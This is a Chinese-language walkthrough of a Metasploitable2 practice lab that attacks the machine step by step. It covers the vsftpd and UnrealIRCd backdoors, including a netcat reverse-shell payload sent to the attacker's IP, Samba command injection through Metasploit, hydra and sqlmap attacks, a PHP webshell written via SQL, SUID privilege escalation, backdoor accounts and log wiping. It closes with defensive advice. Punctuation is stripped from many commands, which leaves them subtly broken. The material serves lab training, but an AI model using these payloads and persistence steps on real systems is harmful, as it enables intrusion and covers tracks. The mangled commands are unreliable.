网络安全入门:从零搭建Metasploitable2靶机环境与漏洞利用实战

📅 2026/6/29 3:28:51
网络安全入门:从零搭建Metasploitable2靶机环境与漏洞利用实战
1. 项目概述为什么选择Metasploitable2作为你的第一台“陪练”靶机如果你刚开始接触网络安全或者想找一个能让你“为所欲为”但又不会惹上麻烦的练习环境Metasploitable2绝对是你绕不开的名字。它不是一台真实的服务器而是一个被故意设计得千疮百孔的虚拟机镜像。你可以把它想象成一个专门为安全爱好者准备的“漏洞博物馆”里面预装了各种过时的、存在已知漏洞的软件和服务从古老的Apache、FTP到有问题的数据库一应俱全。我当年入门渗透测试就是从折腾它开始的。市面上靶机很多比如VulnHub上那些剧情丰富的DC系列、Mr.Robot它们更像是一个个解谜游戏需要你综合运用各种技巧。而Metasploitable2不同它的定位非常纯粹教学与练习。它的漏洞大多是经典的、教科书式的比如未授权访问、弱密码、缓冲区溢出、命令注入等。这意味着你几乎可以在这里找到所有基础漏洞的“标准答案”非常适合用来验证你学到的理论熟悉像Nmap、Metasploit、Nessus这些核心工具的基本操作。很多人一上来就想挑战高难度靶机结果在信息收集阶段就卡住了挫败感很强。Metasploitable2则提供了一个非常友好的起点。它的网络服务是“敞开”的端口扫描结果会给你一大堆明显的“攻击面”让你能快速获得正反馈建立起“发现漏洞-利用漏洞-获取权限”的基本逻辑链条。这正是我推荐所有新手从这里开始的原因先学会走再想着跑。接下来我会带你从零开始完成从虚拟机环境搭建到信息收集再到亲手利用几个经典漏洞获取系统权限的全过程。整个过程就像一次标准的安全评估演练我会把每个步骤背后的“为什么”和你可能踩的“坑”都讲清楚。2. 环境搭建与网络配置打造你的专属“黑客”实验室工欲善其事必先利其器。在开始“攻击”之前我们需要一个安全、隔离的实验环境。最经典的搭配就是使用VMware Workstation或VirtualBox同时运行Kali Linux攻击机和Metasploitable2靶机。这样能确保所有操作都在你的个人电脑内闭环不会影响到真实网络。2.1 获取与导入靶机镜像首先你需要下载Metasploitable2的镜像文件。它是一个压缩包解压后你会得到一个.vmxVMware或.ovfVirtualBox文件。这里我以VMware Workstation为例VirtualBox的操作大同小异。下载镜像你可以从SourceForge等可信源找到它。下载后解压到一个你容易找到的目录比如D:\VMs\Metasploitable2。导入虚拟机打开VMware点击“文件”-“打开”找到并选择解压出来的.vmx文件。VMware会自动识别并创建一台名为“Metasploitable2-Linux”的虚拟机。关键配置调整导入后先别急着启动有几处设置必须调整网络适配器这是最重要的一步。将网络连接模式设置为“仅主机模式”。这个模式会在你的物理机上创建一个虚拟的私有网络比如VMnet1只有Kali和Metasploitable2这两台虚拟机在这个网络里能互相通信它们无法访问外网外网也无法访问它们完美隔离。内存分配给靶机512MB内存就足够了它本身很轻量。快照在启动前强烈建议你为这台干净的靶机创建一个快照命名为“Initial State”。这样无论后续练习中你把系统搞得多乱都可以一键恢复到最初状态非常方便。注意很多新手会忽略网络模式使用默认的“NAT模式”。这可能导致你的Kali无法稳定地扫描到靶机的所有端口或者因为IP地址变化而连接失败。“仅主机模式”是这类本地渗透测试最稳定、最标准的配置。2.2 配置攻击机Kali Linux与网络连通性你的Kali Linux虚拟机也需要进行同样的网络设置将其网络适配器也改为“仅主机模式”并且要和Metasploitable2使用同一个虚拟网络在VMware的“虚拟网络编辑器”里可以查看默认的仅主机模式网络通常是VMnet1。启动两台虚拟机。Metasploitable2启动后会自动登录用户名为msfadmin密码也是msfadmin。它默认不会显示图形界面就是一个命令行终端。你需要在这里查看它的IP地址。输入命令ifconfig找到eth0网卡记下它的inet addr通常是192.168.xxx.xxx网段的一个地址例如192.168.1.102。接着在Kali Linux中打开终端也输入ifconfig查看自己的IP确保两者在同一网段例如Kali是192.168.1.101。然后用最基本的ping命令测试连通性ping 192.168.1.102。如果能看到连续的回复恭喜你网络通道已经打通你的“攻击实验室”基础建设完成了。2.3 环境验证与初步信息收集在真正开始漏洞利用前我们先做一个最简单的验证感受一下靶机的“开放性”。在Kali上尝试用默认凭证登录靶机的SSH服务。命令如下ssh msfadmin192.168.1.102系统会询问你是否继续连接并提示输入密码输入msfadmin。如果成功登录你会看到Metasploitable2的命令行提示符。这证明了服务是可访问的并且使用了弱密码。这只是开胃小菜我们马上要进行更全面的侦查。3. 信息收集与漏洞侦查像侦探一样扫描你的目标渗透测试中信息收集往往决定了后续攻击的效率和成功率。对于Metasploitable2我们需要系统地摸清它到底开放了哪些门端口门上挂着什么牌子服务及版本。3.1 全面端口扫描与服务识别我们将使用渗透测试界的“瑞士军刀”——Nmap。打开Kali的终端输入以下命令进行快速扫描nmap -sV -O 192.168.1.102-sV: 探测端口上运行的服务及其版本信息。这是关键很多漏洞都针对特定版本。-O: 尝试识别靶机的操作系统。扫描完成后你会看到一个令人“惊喜”的结果。Metasploitable2通常会开放20多个端口包括21/tcp: FTP (vsftpd 2.3.4) - 一个存在后门漏洞的版本。22/tcp: SSH (OpenSSH 4.7p1) - 版本较旧可能存在漏洞。23/tcp: Telnet - 明文传输协议非常不安全。80/tcp: HTTP (Apache 2.2.8) - Web服务器是重点攻击面。111/tcp: rpcbind139/tcp, 445/tcp: Samba (smbd 3.x) - 文件共享服务有著名的漏洞。512/tcp, 513/tcp, 514/tcp: r服务1524/tcp: 一个绑定到root shell的端口著名的后门。2049/tcp: NFS3306/tcp: MySQL - 数据库默认存在弱密码。5432/tcp: PostgreSQL - 另一个数据库同样有弱密码。8009/tcp, 8180/tcp: Apache Tomcat - Java应用服务器。这份列表就是我们的“攻击菜单”。接下来我们需要对重点服务进行更深入的侦查。3.2 针对性服务探测与漏洞初判仅仅知道端口和服务版本还不够我们需要知道这些服务具体怎么访问有什么功能。这里以Web服务80端口和Samba服务445端口为例。Web服务侦查在Kali的浏览器中直接访问http://192.168.1.102。你会看到Metasploitable2的默认主页上面列出了它安装的所有有漏洞的Web应用如DVWA、Mutillidae、phpMyAdmin等。点击这些链接你可以初步浏览。同时我们可以使用nikto或dirb这样的Web路径扫描工具发现更多隐藏的目录和文件dirb http://192.168.1.102 /usr/share/wordlists/dirb/common.txt这个命令会尝试用常见路径名去碰撞可能会发现后台登录页面、配置文件等敏感信息。Samba服务侦查Samba是Linux/Unix和Windows之间文件共享的协议。我们可以用smbclient工具来枚举可用的共享目录smbclient -L //192.168.1.102/ -N-L参数列出共享-N表示匿名登录不提供密码。你会发现靶机上有诸如tmp这样的可匿名访问的共享。这本身就是一个信息泄露漏洞。3.3 自动化漏洞扫描辅助对于新手手动分析这么多服务可能有些吃力。这时可以借助自动化漏洞扫描器如OpenVAS或Nessus但它们配置稍复杂。一个更轻量的选择是使用nmap的漏洞脚本引擎NSE。例如扫描常见的已知漏洞nmap --script vuln 192.168.1.102这个命令会运行所有归类为vuln的NSE脚本针对目标服务进行检测并直接输出可能存在的漏洞例如vsftpd后门、Samba漏洞等。但请注意自动化工具的结果需要人工研判它可能产生误报或漏报绝不能完全依赖。它更适合作为我们手动侦查的补充和线索提示。4. 经典漏洞利用实战手把手教你“攻破”系统信息收集完毕我们手里有了一张清晰的“地图”。现在让我们选择几个最具代表性的漏洞进行实际的利用演练。我会从易到难展示不同的攻击路径。4.1 漏洞一利用vsftpd 2.3.4后门获取Shell这是Metasploitable2里最“直白”的漏洞之一。vsftpd 2.3.4版本被植入了一个恶意后门当用户名以“:)”结尾时会触发一个监听在6200端口的root权限后门。漏洞验证首先我们用Nmap或手动连接验证FTP服务版本。nc -nv 192.168.1.102 21连接后服务器会返回220 (vsFTPd 2.3.4)确认版本存在风险。触发后门使用任意FTP客户端或者继续用nc尝试以user: )作为用户名登录密码任意。ftp 192.168.1.102 Connected to 192.168.1.102. 220 (vsFTPd 2.3.4) Name (192.168.1.102:kali): user: ) 331 Please specify the password. Password: 随便输入如123 530 Login incorrect. Login failed.登录会失败但这不重要。关键是在我们尝试登录的同时后门已经被触发在靶机的6200端口上打开了一个root shell。连接后门立即在Kali上打开另一个终端用nc连接靶机的6200端口。nc -nv 192.168.1.102 6200如果成功你会直接获得一个命令行提示符而且权限很可能是root输入id或whoami命令确认权限。恭喜你已经通过一个简单的服务漏洞直接拿到了系统的最高控制权。实操心得这个漏洞利用过程非常快几乎是“秒杀”。它完美地演示了使用存在后门的软件是多么危险。在实际工作中确保所有对外服务都使用最新、官方来源的软件版本是安全基线中的底线。4.2 漏洞二利用UnrealIRCd后门获取ShellMetasploitable2还运行着一个旧版本的UnrealIRCd互联网中继聊天守护进程其3.2.8.1版本同样被植入了后门。这个后门隐藏在AB命令中。发现服务在之前的Nmap扫描结果中你应该能看到6667端口运行着irc服务。nc -nv 192.168.1.102 6667连接后服务器会返回类似:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...的信息。触发后门IRC协议中AB是用于服务器间认证的命令但在这个后门版本中它被滥用了。我们直接发送包含后门命令的AB报文。在nc连接后输入AB; nc -e /bin/bash 192.168.1.101 4444这条命令的意思是让靶机执行nc -e /bin/bash 192.168.1.101 4444即用/bin/bash反向连接到我们KaliIP: 192.168.1.101的4444端口。接收反向Shell在发送上述命令前我们需要先在Kali上监听4444端口。nc -nlvp 4444然后在连接到6667端口的那个终端里发送AB;命令。稍等片刻你监听4444端口的终端就会接收到一个来自靶机的连接并得到一个Shell。同样用id命令检查权限。注意事项这里使用的是反向Shell。为什么是反向因为靶机可能位于防火墙或NAT之后我们无法直接从外部连接到它的某个端口。但让靶机主动“打电话”出来连接到我们监听的端口往往能绕过这种限制。这是渗透测试中获取Shell的常用技巧。4.3 漏洞三利用Samba “username map script”命令注入漏洞提权Samba的username map script配置项允许通过%u参数将用户名传递给外部脚本。如果配置不当在Metasploitable2中正是如此攻击者可以在用户名中注入命令。漏洞原理Samba服务在验证用户时会尝试将用户名传递给/etc/samba/smb.conf中配置的脚本。Metasploitable2的配置中该脚本调用方式不安全允许命令注入。利用过程这次我们不手动构造数据包而是使用Metasploit框架这是渗透测试中最强大的集成化工具。在Kali终端中输入msfconsole启动Metasploit。搜索漏洞模块在msf提示符下输入search samba username可以找到一个名为exploit/multi/samba/usermap_script的模块。使用模块输入use exploit/multi/samba/usermap_script。设置参数查看需要设置的参数show options。设置靶机RHOSTS:set RHOSTS 192.168.1.102设置本地监听LHOST你的Kali IP:set LHOST 192.168.1.101执行攻击输入run或exploit。 如果一切顺利Metasploit会自动化完成漏洞利用并为你打开一个Meterpreter会话。Meterpreter是一个功能强大的后渗透工具你可以在里面执行命令、上传下载文件、抓取密码哈希等。输入shell命令可以切换到标准的Linux shell。权限提升验证在获取的Shell中输入whoami你可能会发现当前用户是root或者是一个普通用户如daemon。如果是普通用户我们可以尝试一些本地提权方法。输入sudo -l查看当前用户能以root身份执行哪些命令或者寻找具有SUID权限的可执行文件find / -perm -us -type f 2/dev/null。在Metasploitable2中往往很容易找到提权路径。实操心得从手动利用到使用Metasploit体现了渗透测试的不同阶段。手动利用能让你深刻理解漏洞原理而Metasploit这样的自动化框架则极大地提高了效率尤其是在利用复杂漏洞或进行批量测试时。但切记工具是辅助理解原理才是根本。5. Web应用漏洞挖掘深入DVWA与phpMyAdminMetasploitable2的80端口上集成了多个有漏洞的Web应用它们是练习Web安全的绝佳场地。我们以DVWA和phpMyAdmin为例。5.1 DVWA从暴力破解到SQL注入访问http://192.168.1.102/dvwa使用默认账号admin和密码password登录。DVWA将安全等级分为Low、Medium、High、Impossible我们可以从Low开始。暴力破解在Brute Force模块Low级别没有任何防护。我们可以使用Burp Suite的Intruder模块或者Kali自带的hydra工具进行爆破。hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.102 http-get-form /dvwa/vulnerabilities/brute/:username^USER^password^PASS^LoginLogin:FUsername and/or password incorrect这个命令尝试用rockyou.txt密码字典对用户admin进行爆破。在Low级别下你会很快看到成功结果。SQL注入在SQL Injection模块Low级别的输入完全未过滤。在输入框输入1 or 11很可能直接返回所有用户信息。我们可以使用更专业的工具sqlmap进行自动化注入和拖库sqlmap -u http://192.168.1.102/dvwa/vulnerabilities/sqli/?id1SubmitSubmit --cookiePHPSESSID你的会话ID; securitylow --batch--cookie参数很重要因为DVWA需要登录状态。sqlmap会自动检测注入类型并可以帮你获取数据库名、表名、甚至数据内容。5.2 phpMyAdmin弱密码与文件包含访问http://192.168.1.102/phpmyadmin。Metasploitable2中的phpMyAdmin存在弱密码root用户密码为空。直接使用root/空密码登录你将获得MySQL数据库的完全控制权。一旦进入phpMyAdmin危害极大数据窃取可以直接查看、导出所有数据库中的数据。写入WebShell如果知道Web目录的绝对路径通常可以通过DVWA的phpinfo页面查到可以在phpMyAdmin中执行SQL语句向Web目录写入一个PHP文件内容为?php system($_GET[‘cmd’]);?这样就获得了一个Web后门。SELECT ?php system($_GET[cmd]); ? INTO OUTFILE /var/www/dvwa/hack.php执行成功后访问http://192.168.1.102/dvwa/hack.php?cmdid就能执行系统命令。注意事项phpMyAdmin、MySQL这类管理界面和数据库服务绝对不应该使用弱密码或允许从公网直接访问。它们一旦被攻破往往意味着整个应用乃至服务器的沦陷。这也是为什么在真实环境中这些服务通常只监听本地地址127.0.0.1并通过SSH隧道等方式进行管理。6. 后渗透与权限维持进入系统后做什么拿到一个Shell即使是普通用户并不是终点而是另一个起点。后渗透阶段的目标是提升权限、扩大战果、维持访问。6.1 信息收集与权限提升在获得的Shell中系统性地收集信息uname -a: 查看内核版本寻找对应的本地提权漏洞。cat /etc/passwd: 查看系统用户。cat /etc/shadow: 尝试读取密码哈希文件需要root权限。ps aux: 查看运行进程寻找以root运行的服务或程序。find / -perm -us -type f 2/dev/null: 查找SUID文件这些文件运行时可能继承所有者常为root权限。sudo -l: 查看当前用户可以以root身份执行哪些命令。Metasploitable2中通常存在配置不当的SUID文件或可利用的sudo规则。例如如果发现/usr/bin/find有SUID位可以这样提权/usr/bin/find . -exec /bin/bash -p \;-p参数会让bash保留SUID赋予的高权限从而得到一个root shell。6.2 维持访问与痕迹清理在真实测试中获得授权后为了后续方便进入攻击者通常会创建后门账户或安装木马。添加用户useradd -m -s /bin/bash backdoor然后passwd backdoor设置密码。或者直接编辑/etc/passwd和/etc/shadow添加一个UID为0root的用户。SSH密钥后门将你的公钥写入靶机root用户的.ssh/authorized_keys文件即可实现免密登录。Metasploit持久化如果通过Meterpreter进入可以使用persistence模块创建计划任务或服务实现自启动。痕迹清理仅用于练习和理解防御删除命令历史history -c清空~/.bash_history删除你上传的工具删除Webshell删除系统日志中与你IP相关的记录如/var/log/auth.log,/var/log/apache2/access.log等。但要注意专业的系统管理员会使用集中日志清理本地日志可能适得其反。7. 常见问题、排查与防御思考在实战练习中你肯定会遇到各种问题。这里记录一些典型情况和我踩过的坑。7.1 连接与扫描问题排查表问题现象可能原因解决方案Kali无法ping通靶机1. 虚拟机网络模式不一致2. 防火墙干扰可能性小3. IP地址不在同一网段1. 检查两台虚拟机网络适配器是否都设为“仅主机模式”2. 在VMware虚拟网络编辑器中确认VMnet1的网段并手动为两台虚拟机设置静态IP如192.168.1.101/102Nmap扫描结果为空或只有少量端口1. 靶机未完全启动2. 网络不通3. 扫描被防火墙拦截靶机有iptables规则1. 等待片刻确保靶机启动完成可查看控制台输出2. 用ping命令复测网络连通性3. Metasploitable2默认防火墙规则宽松此情况较少见可尝试nmap -Pn跳过主机发现漏洞利用失败如vsftpd后门连接不上1. 服务未运行2. 利用步骤错误或时机不对3. 版本不对虽然罕见1. 在靶机上用netstat -tulnp | grep :21确认vsftpd在监听2. 严格按照顺序先触发FTP登录尝试再立即连接6200端口。动作要快。3. 再次确认版本号是否为2.3.4Metasploit模块执行失败1. 参数设置错误RHOSTS, LHOST2. 靶机服务异常3. 模块与目标不匹配1. 仔细检查show options确保所有Required参数已正确设置2. 用nc或浏览器手动验证服务是否可达3. 使用check命令如果模块支持预检目标是否存在漏洞7.2 从攻击者视角回归防御练习攻击的最终目的是为了更好地防御。通过这次对Metasploitable2的“解剖”我们可以总结出一些最基本、也最重要的安全准则最小化攻击面关闭所有非必要的服务和端口。Metasploitable2最大的问题就是开了太多老旧且危险的服务。在真实服务器上只开放业务必须的端口并使用防火墙严格限制访问源IP。持续更新与补丁管理vsftpd后门、UnrealIRCd后门、旧版Samba漏洞这些都是因为使用了存在已知高危漏洞的软件版本。建立严格的软件更新和补丁管理流程是安全的生命线。强化身份认证杜绝弱密码MySQL、PostgreSQL、系统用户的弱密码是通往核心数据的捷径。启用强密码策略对重要服务使用密钥认证而非密码并考虑多因素认证。最小权限原则Web应用如phpMyAdmin不应以root权限运行数据库操作Samba共享不应配置可写权限给匿名用户。确保每个进程、每个用户都只拥有完成其功能所必需的最小权限。输入验证与过滤DVWA的SQL注入、命令注入漏洞根源在于对用户输入毫无信任。所有用户输入都必须经过严格的验证、过滤和转义特别是在拼接SQL语句、系统命令时。安全配置phpMyAdmin等管理界面不应暴露在公网username map script这类危险配置应被禁用或严格审查及时清理安装测试时留下的默认页面和文件。日志与监控虽然攻击者会尝试清理日志但集中式的日志收集和实时监控可以帮助管理员在第一时间发现异常登录、异常命令执行等入侵迹象。Metasploitable2是一个完美的“反面教材”。把它摸透你就能深刻理解这些安全原则背后的血泪教训。当你未来自己搭建服务器或审计系统时你会本能地检查端口、更新软件、强化密码、审查配置——这正是我们进行靶机练习的核心价值所在。它不是教你成为黑客而是让你具备一双能发现漏洞、理解风险的安全之眼。